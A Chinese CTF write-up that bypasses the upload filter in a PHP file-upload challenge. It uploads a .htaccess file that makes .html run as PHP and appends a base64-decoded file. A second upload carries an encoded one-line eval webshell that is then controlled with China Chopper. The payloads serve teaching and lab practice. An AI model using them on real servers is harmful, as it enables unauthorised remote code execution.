文件上传漏洞之.htaccess文件解析漏洞

文件上传漏洞之.htaccess文件解析漏洞

文章目录

  • 文件上传漏洞之.htaccess文件解析漏洞
    • 前置知识
    • 漏洞利用
    • 参考链接

前置知识

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
  总之,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

  需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

漏洞利用

环境来源: Dest0g3 520迎新赛 WEB funny_upload

打开链接,是一个文件上传的功能。

在这里插入图片描述

尝试上传.php文件,以及进行后缀名绕过均无效,发现服务器进行了过滤。

文件上传漏洞之.htaccess文件解析漏洞_第1张图片

这里尝试上传.htaccess文件,但是服务器对文件内容也有校验,过滤了php的标签
因此这里使用auto_append_file和php伪协议组合进行绕过。

首先上传.htaccess文件

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"

下面介绍一下上传的文件内容。

(1).htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

(2)auto_append_file参数

使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。

php.ini中有两项:
auto_prepend_file 在页面顶部加载文件
auto_append_file 在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

这样在指定.htaccess的文件夹内的页面文件才会加载 /home/fdipzone/header.php/home/fdipzone/footer.php,其他页面文件不受影响。

使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。

回到本题,上传:

文件上传漏洞之.htaccess文件解析漏洞_第2张图片

上传成功,那其实就是说咱们实现了两个事情:
(在uploads/c47b21fcf8f0bc8b3920541abd8024fd/目录下)
1、html文件都会被当作php文件解析。
2、php文件的底部都会被加上a.html文件的内容Base64解码后的东西。

因此下一步需要再上传一个a.html文件。

Content-Disposition: form-data; name="file"; filename="a.html"
Content-Type: image/jpeg

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+

文件上传漏洞之.htaccess文件解析漏洞_第3张图片

访问页面,成功上传。

在这里插入图片描述

菜刀直接连即可。

文件上传漏洞之.htaccess文件解析漏洞_第4张图片

参考链接

htaccess_百度百科

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_shu天的博客-CSDN博客

.htaccess文件上传解析漏洞_mmzkyl的博客-CSDN博客_htaccess文件上传解析漏洞

PHP中auto_prepend_file与auto_append_file用法实例分析_php技巧_脚本之家

你可能感兴趣的:(apache,php,服务器,网络安全,web安全)